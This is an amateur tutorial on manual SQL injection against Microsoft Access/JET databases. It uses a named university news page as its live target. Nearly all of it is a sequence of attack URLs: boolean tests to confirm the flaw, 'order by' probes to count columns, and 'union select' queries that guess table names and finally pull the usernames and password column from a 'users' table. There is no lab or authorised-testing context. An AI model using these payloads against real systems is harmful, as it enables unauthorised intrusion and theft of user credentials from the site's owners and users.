Manual MSAccess SQL Injection Tutorial | Microsoft JET Datab

TOPIC:-Manual MSAccess SQL Injection Tutorial | Microsoft JET Database Engine error '80004005'
Required
Vulnerable website:-http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12
Now first job will be to confirm that the error is right because error doesn't means its vulnerable to sql injection.
http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 and 1=1
This web load normally open without an errors because 1 is always equal to 1
http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 and 1=2
This web don't load normally with an error because 1 is not equal to 2
So now web 100% sql error
Next step to find the numbers of columns
http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 order by 1--
error
http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 order b 100--
error
http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12' order by 1--+-
error
may be last comment n0t work.
now run the query without comment "--"
http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 order by 1
worked
http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 order by 2
now change the numbers still get error
http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 order by 7
error
http://www.cityuniversity.edu.pk/cusitnew/news.php?id=12 order by 6
worked
means web have 6 numbers 0f columns
n0w union section:-
After we have found the number of columns our next work is to guess the Table name
and mostly name like(admin tbl_admin tb_admin wp_admin users user members login and etc)
use table name with union select if table name is correct than we will get the vuln number on page
now lets try
our next query :-
http://www.cityuniversity.edu.pk/cusitnew/news.php?id=.12 union select 1,2,3,4,5,6 from admin
not worked get an error
try different tables
http://www.cityuniversity.edu.pk/cusitnew/news.php?id=.12 union select 1,2,3,4,5,6 from users
worked and vuln columns is 2
now try t0 guess columns name like(username, user, name, pass,password pwd passw and etc )
http://www.cityuniversity.edu.pk/cusitnew/news.php?id=.12 union all select 1,username,3,4,5,6 from users
worked try t0 guess password
http://www.cityuniversity.edu.pk/cusitnew/news.php?id=.12 union all select 1,passw,3,4,5,6 from users
Finally done